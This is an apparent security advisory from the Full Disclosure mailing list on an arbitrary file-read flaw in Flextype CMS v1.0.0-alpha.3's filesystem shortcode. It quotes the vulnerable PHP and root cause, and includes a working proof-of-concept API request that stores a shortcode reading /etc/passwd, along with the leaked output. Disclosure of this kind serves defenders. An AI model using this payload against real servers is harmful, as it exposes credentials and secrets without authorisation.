Full Disclosure mailing list archives

Description

Flextype CMS v1.0.0-alpha.3 contains an arbitrary file-read vulnerability
in its stored shortcode processing functionality. Attacker-controlled entry
fields are automatically processed by the shortcode parser when global
shortcode processing is enabled.

The built-in filesystem shortcode accepts a file path and returns the
contents of the specified file without restricting the path to an approved
application directory.

An attacker capable of storing shortcode syntax within an entry can
therefore cause Flextype to read arbitrary files accessible to the PHP
process.

Testing confirmed exploitation by storing a filesystem shortcode
referencing /etc/passwd. Flextype returned the contents of /etc/passwd
while processing the entry and returned the file contents again during
subsequent normal retrieval of the stored entry.
Impact

An attacker can retrieve arbitrary files readable by the Flextype PHP
process.

Potentially exposed information includes application configuration,
credentials, API keys, database connection information, source code,
operating-system files, and other application secrets.

Unlike the previously identified ExpressionsDirective file-read
vulnerability, this vulnerability reaches filesystem functionality through
Flextype's shortcode parser and FilesystemShortcode implementation.
DetailsAutomatic Shortcode Processing

Entry fields are passed to the shortcode parser:

if (is_string($field['value'])) {
    if (strings($field['value'])->contains('@shortcodes')) {
        $field['value'] = strings(
            parsers()->shortcodes()->parse($field['value'])
        )->replace('@shortcodes', '')->trim()->toString();
    } elseif (
        registry()->get(
            'flextype.settings.entries.directives.shortcodes.enabled_globally'
        )
    ) {
        $field['value'] = parsers()->shortcodes()->parse($field['value']);
    }
}

Filesystem Shortcode

The filesystem shortcode accepts the supplied file parameter and returns
its contents:

if (
    collection(array_keys($params))
        ->filter(static fn ($v) => $v === 'get')
        ->count() > 0 &&
    isset($params['file']) &&
    registry()->get(
        'flextype.settings.parsers.shortcodes.shortcodes.filesystem.get.enabled'
    ) === true
) {
    $file = parsers()->shortcodes()->parse($params['file']);

    return filesystem()->file($file)->exists()
        ? filesystem()->file($file)->get()
        : '';
}

No filesystem containment restriction is applied to $file before it is read.
Proof of Concept

The following entry contains a filesystem shortcode targeting /etc/passwd:

POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json

{"token":"lab-token","access_token":"password","id":"shortcode-file-proof","data":{"title":"(filesystem
get file:'/etc/passwd')"}}

Flextype returned the contents of /etc/passwd within the processed title:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

The stored entry was subsequently requested normally:

GET /api/v1/entries?token=lab-token&id=shortcode-file-proof HTTP/1.1
Host: 127.0.0.1:18086

The response again contained /etc/passwd, demonstrating stored arbitrary
file read during normal entry processing.
Root Cause

The vulnerability occurs because attacker-controllable stored entry content
is interpreted by the shortcode parser and the filesystem shortcode accepts
unrestricted filesystem paths.

The affected code ultimately performs:

filesystem()->file($file)->get()

without verifying that the canonicalized path resides within an explicitly
permitted directory.

Ron Edgerson
Vulnerability Researcher & Exploit Developer

CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development

🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Current thread:

• Flextype v1.0.0-alpha.3 Stored Filesystem Shortcode Allows Arbitrary File Read Ron E (Sep 03)